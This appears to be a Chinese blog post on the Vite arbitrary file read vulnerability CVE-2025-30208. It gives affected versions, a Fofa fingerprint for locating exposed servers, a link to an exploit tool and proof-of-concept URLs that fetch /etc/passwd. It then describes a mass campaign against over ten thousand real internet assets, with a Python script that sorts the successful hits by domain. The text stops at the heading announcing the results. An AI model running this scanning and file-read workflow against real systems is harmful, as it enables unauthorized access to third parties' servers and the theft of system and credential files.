漏洞介绍

1
Vite是Vite开源的一种新型的前端构建工具。Vite存在访问控制错误漏洞,该漏洞源于URL中的?raw??或?import&raw??可以绕过文件访问限制,返回任意文件内容。

影响版本

1
2
3
4
5
6.2.0 <= Vite <= 6.2.2
6.1.0 <= Vite <= 6.1.1
6.0.0 <= Vite <= 6.0.11
5.0.0 <= Vite <= 5.4.14
Vite <= 4.5.9

Fofa 指纹

1
body="/@vite/client"

漏洞利用

1
2
3
4
漏洞利用工具: https://github.com/ThumpBo/CVE-2025-30208-EXP
验证POC:
http://test.com/etc/passwd?raw
http://test.com/etc/passwd?import&raw??

利用过程

1、将所有资产下载下来
2、提取出 CSV 文件中的”资产的 URL 链接”,大概有一万多条 url
3、利用 ThumpBo 师傅的 EXP 工具进行爆破
4、编写 python 脚本提取出带有域名的资产(将跑出来的 output.txt 放在当前脚本目录下,替换其中的[SUCCESS]乱码为[SUCCESS]然后运行脚本即可)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import re
from urllib.parse import urlparse

def filter_unique_domain_urls(urls):
unique_domains = set()
filtered_urls = []

for url in urls:
url = url.strip()
parsed_url = urlparse(url)
domain = parsed_url.netloc

# 检查是否是 IP 地址
if not re.match(r'\d+\.\d+\.\d+\.\d+', domain):
# 提取一级域名
domain_parts = domain.split('.')
if len(domain_parts) > 2:
domain = '.'.join(domain_parts[-2:])

if domain not in unique_domains:
unique_domains.add(domain)
filtered_urls.append(url)
# 输出结果
for filtered_url in filtered_urls:
print(filtered_url)

def extract_success_urls(file_path):
with open(file_path, 'r', encoding='utf-8') as file:
lines = file.readlines()

success_urls = []

for line in lines:
matches = re.findall(r'\[SUCCESS\]\s*(https?://[^\s\[\]]+)', line)
success_urls.extend(matches)
filter_unique_domain_urls(success_urls)

file_path = 'output.txt'
extract_success_urls(file_path)

5、结果如下